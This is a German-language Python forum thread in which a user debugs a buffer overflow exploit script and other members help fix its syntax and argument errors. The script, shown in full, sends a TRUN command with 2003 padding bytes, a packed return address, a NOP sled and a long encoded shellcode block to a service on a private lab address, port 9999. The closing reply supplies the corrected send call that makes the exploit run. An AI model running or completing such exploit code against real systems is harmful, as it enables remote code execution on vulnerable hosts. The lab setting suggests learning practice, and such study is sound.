BlackJack hat geschrieben:@patzen: Der Compiler zeigt nicht auf die Stelle wo etwas nicht stimmt, sondern auf die Stelle wo er bemerkt hat, dass etwas nicht stimmt. Das Problem liegt also irgendwo vor dieser Stelle und der Parser verarbeitet etwas wo ihm an der Stelle mit dem ``:`` auffällt, dass da keiner kommen dürfte. Dabei ist der Doppelpunkt selbst an der Stelle schon richtig so, wenn denn davor die Syntax stimmen würde. Kleiner Tipp: Es liegt an einer fehlenden Klammer. Art und Position der Klammer kannst Du ja mal selber suchen. :-)
Danke für den Tip ich glaube ich hab's gefunden.
In der vorletzten line:

Bei send((192.168.2.105)) fehlte vorne eine Klammer.Dann ist mir noch aufgefallen, dass in der gleichen line bei join ((header, junk, eip, nop, shellcode)) die zweite Klammer am vorne eine eckige ist und hinten eine runde.Ich habe dann versucht jeweils ein paar eckige und dann ein paar runde (so wie beim send Argument) zu setzen aber bekomme jetzt einen neuen Fehler.
Google sagt mir dazu , dass ein Argument fehlt :(
Dav1d hat geschrieben:uups, das tut mir leid, es sind sogar 2 Fehler drin :oops:

Einmal fehlt ein : und einmal ne Klammer
Kein Problem Dav1d :) .Umso lehrreicher ist es am Schluss wenn alles klappt.
Ich habe die Klammern jetzt mal geändert und das Script sieht jetzt wie folgt aus.Leider funktioniert es immer noch nicht :(

Code: Alles auswählen

#!/usr/bin/python

import socket
import struct


def send(address, data):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(address)

    sock.send(data)

    sock.close()


def main():
    header = 'TRUN /.:/'
    junk = '\x41'*2003
    eip = struct.pack('<I', 0x625011af)
    nop = '\x90'*20
    shellcode = ('\x89\xe0\xdd\xc7\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43'
                 '\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58'
                 '\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42'
                 '\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30'
                 '\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58'
                 '\x4d\x59\x45\x50\x45\x50\x43\x30\x43\x50\x4d\x59\x4d\x35'
                 '\x50\x31\x49\x42\x52\x44\x4c\x4b\x50\x52\x50\x30\x4c\x4b'
                 '\x51\x42\x54\x4c\x4c\x4b\x51\x42\x52\x34\x4c\x4b\x52\x52'
                 '\x51\x38\x54\x4f\x4f\x47\x50\x4a\x51\x36\x50\x31\x4b\x4f'
                 '\x56\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x45\x52'
                 '\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37'
                 '\x4b\x52\x4c\x30\x50\x52\x51\x47\x4c\x4b\x56\x32\x54\x50'
                 '\x4c\x4b\x51\x52\x47\x4c\x43\x31\x4e\x30\x4c\x4b\x51\x50'
                 '\x54\x38\x4c\x45\x49\x50\x52\x54\x51\x5a\x43\x31\x4e\x30'
                 '\x56\x30\x4c\x4b\x50\x48\x45\x48\x4c\x4b\x50\x58\x47\x50'
                 '\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x47\x44'
                 '\x4c\x4b\x45\x51\x58\x56\x50\x31\x4b\x4f\x56\x51\x49\x50'
                 '\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x47\x48'
                 '\x4b\x50\x43\x45\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b'
                 '\x43\x4d\x51\x34\x52\x55\x5a\x42\x50\x58\x4c\x4b\x50\x58'
                 '\x56\x44\x45\x51\x4e\x33\x45\x36\x4c\x4b\x54\x4c\x50\x4b'
                 '\x4c\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x43\x34'
                 '\x4c\x4b\x43\x31\x58\x50\x4d\x59\x51\x54\x51\x34\x47\x54'
                 '\x51\x4b\x51\x4b\x43\x51\x56\x39\x51\x4a\x56\x31\x4b\x4f'
                 '\x4b\x50\x51\x48\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b'
                 '\x4d\x56\x51\x4d\x43\x5a\x45\x51\x4c\x4d\x4c\x45\x4f\x49'
                 '\x43\x30\x43\x30\x43\x30\x56\x30\x43\x58\x50\x31\x4c\x4b'
                 '\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b\x4e\x54\x4e'
                 '\x50\x32\x5a\x4a\x43\x58\x4f\x56\x4c\x55\x4f\x4d\x4d\x4d'
                 '\x4b\x4f\x4e\x35\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4d\x50'
                 '\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b\x50\x47\x45\x43'
                 '\x43\x42\x52\x4f\x52\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35'
                 '\x52\x43\x45\x31\x52\x4c\x43\x53\x43\x30\x41\x41')

send(('192.168.2.105', 9999)), ''.join((header, junk, eip, nop, shellcode))

if __name__ == '__main__':
    main()

Der Fehlercode ist folgender:

Code: Alles auswählen

root@bt:~# python exploit.dav1d.py
Traceback (most recent call last):
  File "exploit.dav1d.py", line 58, in <module>
    main()
  File "exploit.dav1d.py", line 55, in main
    send(('192.168.2.105', 9999)), ''.join((header, junk, eip, nop, shellcode))
TypeError: send() takes exactly 2 arguments (1 given)
Wie gesagt ich weiss jetzt ,dass ein Argument fehlt laut google.Aber keine Ahnung welches.Ich habe aber alleine durch dieses Script schon ne Menge gelernt und eigentlich find ich es besser wenn nicht sofort alles klappt.So lernt man mehr :)
Könnt Ihr mir einen Tip geben welches Argument fehlt.Ich werde versuchen es dann selber einzubauen :D

Liebe Grüße
patzen
Benutzeravatar
jens
Python-Forum Veteran
Beiträge: 8502
Registriert: Dienstag 10. August 2004, 09:40
Wohnort: duisburg
Kontaktdaten:

patzen hat geschrieben:

Code: Alles auswählen

...
def send(address, data):
...
send(('192.168.2.105', 9999)), ''.join((header, junk, eip, nop, shellcode))
Das sieht auch ziemlich komisch aus ;)

Wie wäre es damit:

Code: Alles auswählen

def main():
    ...
    address = ('192.168.2.105', 9999)
    data = ''.join([header, junk, eip, nop, shellcode])
    send(address, data)
btw. dein send() Aufruf war auch falsch eingerückt!

GitHub | Open HUB | Xing | Linked in
Bitcoins to: 1JEgSQepxGjdprNedC9tXQWLpS424AL8cd
Antworten